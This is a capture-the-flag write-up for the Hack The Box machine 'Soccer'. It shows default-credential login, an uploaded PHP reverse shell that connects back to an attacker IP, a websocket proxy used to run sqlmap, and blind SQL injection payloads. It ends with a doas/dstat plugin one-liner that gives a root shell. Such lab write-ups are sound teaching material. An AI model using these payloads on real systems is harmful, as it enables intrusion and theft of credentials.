Hack The Box: Soccer Writeup
Soccer is a Hack The Box Linux machine serving static sites, a file manager and a custom web socket service. The file manager was vulnerable to arbitrary file uploads, leading to remote code execution as www-data
. The web server’s configuration files leaked another virtual host. This custom web application relied on a web sockets service which was vulnerable to SQL injections over web sockets. Using credentials from the database, an SSH user was compromised. The doas
privileges of the compromised user allowed to gain code execution as root through dstat
and a Python script.
Walkthrough
In order to properly resolve the box’s name, the hostname and IP address of the box were appended to the hosts file on the assessment machine:
echo "10.10.11.194 soccer.htb" | sudo tee -a /etc/hosts
The following snippet shows the result of a simple nmap scan conducted on the top 1,000 ports. The server was found to be listening on ports 22, 80 (which are commonly used for SSH and HTTP respectively), as well as port 9091. The latter was later discovered to be a web socket service, vulnerable to SQL injections.
nmap --open soccer.htb
Starting Nmap 7.93 ( https://nmap.org ) <SNIP>
Nmap scan report for soccer.htb (10.10.11.194)
Host is up (0.043s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
9091/tcp open xmltec-xmlmail
The web page hosted on port 80 provided news content related to a soccer team.
Next, the web fuzzer ffuf
was used to find additional documents and sites. The fuzzer identified /tiny
as a path that redirected to a subdirectory containing a file manager.
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://soccer.htb/FUZZ
<SNIP>
[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 29ms]
* FUZZ: tiny
When browsing to /tiny
, the first content encountered was a login page prompting for a username and password to access the “Tiny File Manager”.
An online search revealed, that this is an open-source application on GitHub, which was vulnerable to a remote code execution (CVE-2021-45010) in an earlier version. One of the exploits I found when investigating this app, listed default credentials for the application as admin:admin@123
. Using the default credentials, it was possible to authenticate as the application administrator on the file manager.
The file manager allows administrators to upload files. They are saved to the tiny/uploads
directory:
As already shown on the screenshot, the upload functionality can be used to upload PHP
files. This was used to upload a reverse shell payload from pentestmonkey:
<?php
<SNIP>
$VERSION = "1.0";
$ip = '10.10.16.3'; // CHANGE THIS
$port = 8000; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
<SNIP>
?>
The file was served as soccer.htb/tiny/uploads/shell.php
, and interpreted by the server. The machine connected back to the assessment machine and gave a reverse shell as www-data
:
nc -lnvp 8000
listening on [any] 8000 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.194] 49440
Linux soccer 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
18:05:46 up 48 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Access to this low-privileged user was leveraged to enumerate the system. The examination of nginx configuration files revealed another virtual host named soc-player.soccer.htb
. This vhost served as an nginx reverse proxy for an application listening on localhost:3000
:
ls -l /etc/nginx/sites-enabled
total 0
lrwxrwxrwx 1 root root 34 Nov 17 2022 default -> /etc/nginx/sites-available/default
lrwxrwxrwx 1 root root 41 Nov 17 2022 soc-player.htb -> /etc/nginx/sites-available/soc-player.htb
$ cat /etc/nginx/sites-available/soc-player.htb
server {
listen 80;
listen [::]:80;
server_name soc-player.soccer.htb;
root /root/app/views;
location / {
proxy_pass http://localhost:3000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}
Adding the new subdomain to the hosts file and browsing to the site shows a different page than the previous one:
echo "10.10.11.194 soc-player.soccer.htb" | sudo tee -a /etc/hosts
This web site was interactive, had open registration and allowed to login as newly created users. Logged in users were redirected to a /check
which displayed a ticket number, and a form to check ticket numbers:
This indicated a database lookup in the background. The page cointained the following JavaScript snippet, which makes an API request to fetch information about the ticket number:
<SNIP>
var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
window.onload = function () {
<SNIP>
function sendText() {
var msg = input.value;
if (msg.length > 0) {
ws.send(JSON.stringify({
"id": msg
}))
}
else append("????????")
}
}
ws.onmessage = function (e) {
append(e.data)
}
<SNIP>
Since the API on the web sockets server likely performs a database lookup in the backend, it is crucial to properly sanitize the user input when doing the lookup. Analyzing SQL injections over web sockets is covered in this [1] blog post.
In order to use sqlmap over web sockets, a proxy is necessary to forward the parameter value chosen by sqlmap to the API endpoint over web sockets. The mentioned blog post provided Python code for the proxy, which I modified to reflect the correct JSON object structure and URL-decoded the payload:
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
import json
import urllib.parse
ws_server = "ws://soc-player.soccer.htb:9091"
def send_ws(payload):
ws = create_connection(ws_server)
payload = urllib.parse.unquote(payload)
data = {"id": payload}
ws.send(json.dumps(data))
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass
Sqlmap was then used to dump the database with the following command (targeting the proxy):
sqlmap -u http://localhost:8081/?id=1 --batch --risk 3 --level 5 --dump
The next snippet shows the SQL injection payloads that sqlmap discovered and used to dump the database:
sqlmap identified the following injection point(s) with a total of 388 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: id=-8937 OR 6796=6796
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 1017 FROM (SELECT(SLEEP(5)))JFIh)
---
The database soccer_db
held an accounts
table which contained the username, email address and cleartext password of one user:
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id | email | password | username |
+------+-------------------+----------------------+----------+
| 1324 | [email protected] | Player<SNIP> | player |
+------+-------------------+----------------------+----------+
This username and password were used to login on the box over SSH.
An enumeration of setuid binaries reveals the binaries on the system that run under the privileges of the file owner. SUID binaries owned by root are particularly interesting for the privilege escalation.
Among binaries that are commonly present on Linux systems and have the suid bit set (sudo, passwd), the command also found an uncommon binary, /usr/local/bin/doas
:
player@soccer:~$ find / -perm -4000
<SNIP>
/usr/local/bin/doas
<SNIP>
/usr/bin/sudo
/usr/bin/passwd
<SNIP>
The application doas
is very similar to sudo
as it allows running commands as another user (“do as”) including the root user. In order to enumerate the commands whitelisted to be run by doas
, a search for the doas
config was conducted:
player@soccer:~$ find / -name "doas.conf"
<SNIP>
/usr/local/etc/doas.conf
<SNIP>
The config allowed running /usr/bin/dstat
as root:
player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
dstat
has been recognized as a gtfobin. That means, the binary can likely be used to bypass local security measures and perform privilege escalation. The site also shows an example how dstat
can be abused to execute Python code as root:
echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_xxx.py
/usr/local/bin/doas /usr/bin/dstat --xxx
Placing a script to launch a shell at a destination that will be read by dstat
, and then running dstat
as root through doas
, I gained a root shell and fully compromised the box:
Thank you for reading, and have a fun time with CTFs.
Archived references: